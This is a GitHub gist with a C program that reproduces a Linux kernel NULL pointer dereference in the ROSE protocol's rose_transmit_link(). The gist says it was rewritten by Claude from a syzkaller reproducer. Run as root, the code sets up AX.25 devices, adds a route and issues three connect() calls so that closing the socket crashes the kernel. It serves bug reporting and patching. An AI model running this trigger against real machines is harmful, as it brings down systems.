Last active
March 10, 2026 09:52
-
-
Save mrpre/9e6779e0d13e2c66779b1653fef80516 to your computer and use it in GitHub Desktop.
This file is a complete rewrite by Claude based on the original reproducer.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Reproducer for ROSE NULL pointer dereference in rose_transmit_link() | |
| // | |
| // Bug: rose_connect() can leave rose->state = ROSE_STATE_1 while | |
| // rose->neighbour = NULL when a second connect() fails at rose_get_neigh(). | |
| // When the socket is closed, rose_release() sees ROSE_STATE_1 and calls | |
| // rose_write_internal() -> rose_transmit_link(skb, NULL) -> crash. | |
| // | |
| // Requirements: CONFIG_ROSE, CONFIG_AX25, CONFIG_BPQETHER (or other AX.25 device) | |
| // Run as root. | |
| #define _GNU_SOURCE | |
| #include <stdio.h> | |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <unistd.h> | |
| #include <errno.h> | |
| #include <fcntl.h> | |
| #include <sys/socket.h> | |
| #include <sys/ioctl.h> | |
| #include <sys/types.h> | |
| #include <net/if.h> | |
| #include <net/if_arp.h> | |
| /* ROSE / AX.25 constants */ | |
| #ifndef AF_ROSE | |
| #define AF_ROSE 11 | |
| #endif | |
| #ifndef SOCK_SEQPACKET | |
| #define SOCK_SEQPACKET 5 | |
| #endif | |
| #define SIOCADDRT 0x890B | |
| #define ROSE_ADDR_LEN 5 | |
| #define AX25_ADDR_LEN 7 | |
| #define AX25_MAX_DIGIS 8 | |
| typedef struct { | |
| char ax25_call[AX25_ADDR_LEN]; | |
| } ax25_address; | |
| typedef struct { | |
| char rose_addr[ROSE_ADDR_LEN]; | |
| } rose_address; | |
| struct rose_route_struct { | |
| rose_address address; | |
| unsigned short mask; | |
| ax25_address neighbour; | |
| char device[16]; | |
| unsigned char ndigis; | |
| ax25_address digipeaters[AX25_MAX_DIGIS]; | |
| }; | |
| struct sockaddr_rose { | |
| unsigned short srose_family; | |
| rose_address srose_addr; | |
| ax25_address srose_call; | |
| int srose_ndigis; | |
| ax25_address srose_digi; | |
| }; | |
| static void load_module(const char *mod) | |
| { | |
| char cmd[256]; | |
| snprintf(cmd, sizeof(cmd), "modprobe %s 2>/dev/null", mod); | |
| system(cmd); | |
| } | |
| int main(void) | |
| { | |
| int rose_fd, rose_fd2, ret; | |
| struct rose_route_struct route; | |
| struct sockaddr_rose addr; | |
| printf("[*] ROSE NULL deref reproducer\n"); | |
| printf("[*] Bug: rose_connect() reconnect leaves state=1 with neighbour=NULL\n\n"); | |
| /* Step 1: Load required modules */ | |
| printf("[+] Loading kernel modules...\n"); | |
| load_module("rose"); | |
| load_module("ax25"); | |
| load_module("dummy"); | |
| load_module("bpq"); | |
| /* Step 2: Create dummy0 and bring up bpq0 */ | |
| printf("[+] Setting up bpq0 AX.25 device...\n"); | |
| system("ip link add dummy0 type dummy 2>/dev/null"); | |
| system("ip link set dummy0 up"); | |
| usleep(100000); | |
| /* Loading bpq module auto-creates bpq0 on top of existing ethernets */ | |
| if (system("ip link set bpq0 up 2>/dev/null") != 0) { | |
| fprintf(stderr, "[-] bpq0 not found. Ensure CONFIG_BPQ and " | |
| "CONFIG_DUMMY are enabled.\n"); | |
| return 1; | |
| } | |
| /* Step 3: Create a ROSE socket to add routes */ | |
| printf("[+] Creating ROSE socket for route setup...\n"); | |
| rose_fd = socket(AF_ROSE, SOCK_SEQPACKET, 0); | |
| if (rose_fd < 0) { | |
| perror("[-] socket(AF_ROSE)"); | |
| return 1; | |
| } | |
| /* Step 4: Add a ROSE route via bpq0 */ | |
| printf("[+] Adding ROSE route...\n"); | |
| memset(&route, 0, sizeof(route)); | |
| memset(route.address.rose_addr, 0xcc, ROSE_ADDR_LEN); | |
| route.address.rose_addr[4] = 0x03; | |
| route.mask = 6; | |
| /* Neighbour callsign (AX.25 shifted encoding) */ | |
| route.neighbour.ax25_call[0] = 0xa2; | |
| route.neighbour.ax25_call[1] = 0xa6; | |
| route.neighbour.ax25_call[2] = 0xa8; | |
| route.neighbour.ax25_call[3] = 0x40; | |
| route.neighbour.ax25_call[4] = 0x40; | |
| route.neighbour.ax25_call[5] = 0x40; | |
| route.neighbour.ax25_call[6] = 0x00; | |
| strncpy(route.device, "bpq0", sizeof(route.device)); | |
| route.ndigis = 5; | |
| /* Digipeater entries (from syzkaller repro) */ | |
| route.digipeaters[0].ax25_call[0] = 0xbb; | |
| route.digipeaters[0].ax25_call[1] = 0xbb; | |
| route.digipeaters[0].ax25_call[2] = 0xbb; | |
| route.digipeaters[0].ax25_call[3] = 0x01; | |
| memset(&route.digipeaters[1].ax25_call, 0x40, 6); | |
| route.digipeaters[2].ax25_call[0] = 0xbb; | |
| route.digipeaters[2].ax25_call[1] = 0xbb; | |
| route.digipeaters[2].ax25_call[2] = 0xbb; | |
| route.digipeaters[2].ax25_call[3] = 0xbb; | |
| route.digipeaters[2].ax25_call[4] = 0xbb; | |
| memcpy(&route.digipeaters[3], &route.digipeaters[2], | |
| sizeof(ax25_address)); | |
| route.digipeaters[4].ax25_call[0] = 0x98; | |
| route.digipeaters[4].ax25_call[1] = 0x92; | |
| route.digipeaters[4].ax25_call[2] = 0x9c; | |
| route.digipeaters[4].ax25_call[3] = 0xaa; | |
| route.digipeaters[4].ax25_call[4] = 0xb0; | |
| route.digipeaters[4].ax25_call[5] = 0x40; | |
| route.digipeaters[4].ax25_call[6] = 0x02; | |
| ret = ioctl(rose_fd, SIOCADDRT, &route); | |
| if (ret < 0) { | |
| perror("[-] ioctl(SIOCADDRT)"); | |
| fprintf(stderr, " Route add failed\n"); | |
| } else { | |
| printf("[+] ROSE route added successfully\n"); | |
| } | |
| /* Step 5: Create the socket that will trigger the bug */ | |
| printf("[+] Creating ROSE socket for connect...\n"); | |
| rose_fd2 = socket(AF_ROSE, SOCK_SEQPACKET, 0); | |
| if (rose_fd2 < 0) { | |
| perror("[-] socket(AF_ROSE) #2"); | |
| close(rose_fd); | |
| return 1; | |
| } | |
| /* Non-blocking so connect returns -EINPROGRESS immediately */ | |
| fcntl(rose_fd2, F_SETFL, O_NONBLOCK); | |
| /* | |
| * Step 6: First connect - finds the neighbour via the route. | |
| * Sets rose->state = ROSE_STATE_1, rose->neighbour = neigh. | |
| * Also calls rose_transmit_link() which starts the link setup | |
| * and eventually starts the failure timer (ftimer). | |
| */ | |
| printf("[+] First connect (sets state=1, neighbour=neigh)...\n"); | |
| memset(&addr, 0, sizeof(addr)); | |
| addr.srose_family = AF_ROSE; | |
| addr.srose_addr.rose_addr[0] = 0xcc; | |
| addr.srose_addr.rose_addr[1] = 0xcc; | |
| addr.srose_addr.rose_addr[2] = 0xcc; | |
| addr.srose_addr.rose_addr[3] = 0xcc; | |
| addr.srose_addr.rose_addr[4] = 0x02; | |
| addr.srose_call.ax25_call[0] = 0xbb; | |
| addr.srose_call.ax25_call[1] = 0xbb; | |
| addr.srose_call.ax25_call[2] = 0xbb; | |
| addr.srose_call.ax25_call[3] = 0x01; | |
| addr.srose_ndigis = 1; | |
| memset(&addr.srose_digi.ax25_call, 0x40, 6); | |
| ret = connect(rose_fd2, (struct sockaddr *)&addr, sizeof(addr)); | |
| printf(" connect #1: ret=%d errno=%d (%s)\n", | |
| ret, errno, strerror(errno)); | |
| /* | |
| * Wait for the failure timer (ftimer) to start. After the first | |
| * connect calls rose_transmit_link -> rose_link_up fails -> | |
| * ax25 link setup fails -> t1 timer fires -> ftimer starts. | |
| * Once ftimer is running, rose_get_neigh skips this neighbour. | |
| */ | |
| printf("[+] Waiting for ftimer to start (200ms)...\n"); | |
| usleep(200000); | |
| /* | |
| * Step 7: Second connect - rose_get_neigh() returns NULL because: | |
| * - neigh->restarted == 0 (no peer response) | |
| * - rose_ftimer_running(neigh) == true | |
| * This overwrites rose->neighbour with NULL but does NOT reset | |
| * rose->state (still ROSE_STATE_1)! | |
| */ | |
| printf("[+] Second connect (should fail, leaving state=1 + neighbour=NULL)...\n"); | |
| memset(&addr, 0, sizeof(addr)); | |
| addr.srose_family = AF_ROSE; | |
| addr.srose_addr.rose_addr[0] = 0xcc; | |
| addr.srose_addr.rose_addr[1] = 0xcc; | |
| addr.srose_addr.rose_addr[2] = 0xcc; | |
| addr.srose_addr.rose_addr[3] = 0xcc; | |
| addr.srose_addr.rose_addr[4] = 0x01; | |
| addr.srose_call.ax25_call[0] = 0xcc; | |
| addr.srose_call.ax25_call[1] = 0xcc; | |
| addr.srose_call.ax25_call[2] = 0xcc; | |
| addr.srose_call.ax25_call[3] = 0xcc; | |
| addr.srose_call.ax25_call[4] = 0xcc; | |
| addr.srose_call.ax25_call[5] = 0xcc; | |
| addr.srose_call.ax25_call[6] = 0x01; | |
| addr.srose_ndigis = 1; | |
| memset(&addr.srose_digi.ax25_call, 0x40, 6); | |
| ret = connect(rose_fd2, (struct sockaddr *)&addr, sizeof(addr)); | |
| printf(" connect #2: ret=%d errno=%d (%s)\n", | |
| ret, errno, strerror(errno)); | |
| /* Step 8: Third connect (extra attempt from syzkaller repro) */ | |
| printf("[+] Third connect...\n"); | |
| memset(&addr, 0, sizeof(addr)); | |
| addr.srose_family = AF_ROSE; | |
| addr.srose_addr.rose_addr[0] = 0xbb; | |
| addr.srose_addr.rose_addr[1] = 0xbb; | |
| addr.srose_addr.rose_addr[2] = 0xbb; | |
| addr.srose_addr.rose_addr[3] = 0x01; | |
| addr.srose_call.ax25_call[0] = 0xbb; | |
| addr.srose_call.ax25_call[1] = 0xbb; | |
| addr.srose_call.ax25_call[2] = 0xbb; | |
| addr.srose_call.ax25_call[3] = 0xbb; | |
| addr.srose_call.ax25_call[4] = 0xbb; | |
| addr.srose_ndigis = 1; | |
| memset(&addr.srose_digi.ax25_call, 0x40, 6); | |
| ret = connect(rose_fd2, (struct sockaddr *)&addr, sizeof(addr)); | |
| printf(" connect #3: ret=%d errno=%d (%s)\n", | |
| ret, errno, strerror(errno)); | |
| /* | |
| * Step 9: Close the socket -> triggers rose_release(). | |
| * If rose->state == ROSE_STATE_1 && rose->neighbour == NULL: | |
| * rose_release -> rose_write_internal(sk, ROSE_CLEAR_REQUEST) | |
| * -> rose_transmit_link(skb, NULL) -> NULL->loopback -> CRASH! | |
| */ | |
| printf("[+] Closing socket (triggers rose_release -> crash if vulnerable)...\n"); | |
| close(rose_fd2); | |
| close(rose_fd); | |
| printf("[*] No crash - the bug was not triggered or kernel is patched.\n"); | |
| printf(" If ftimer didn't start in time, try increasing the delay.\n"); | |
| system("ip link set bpq0 down 2>/dev/null"); | |
| system("ip link del dummy0 2>/dev/null"); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment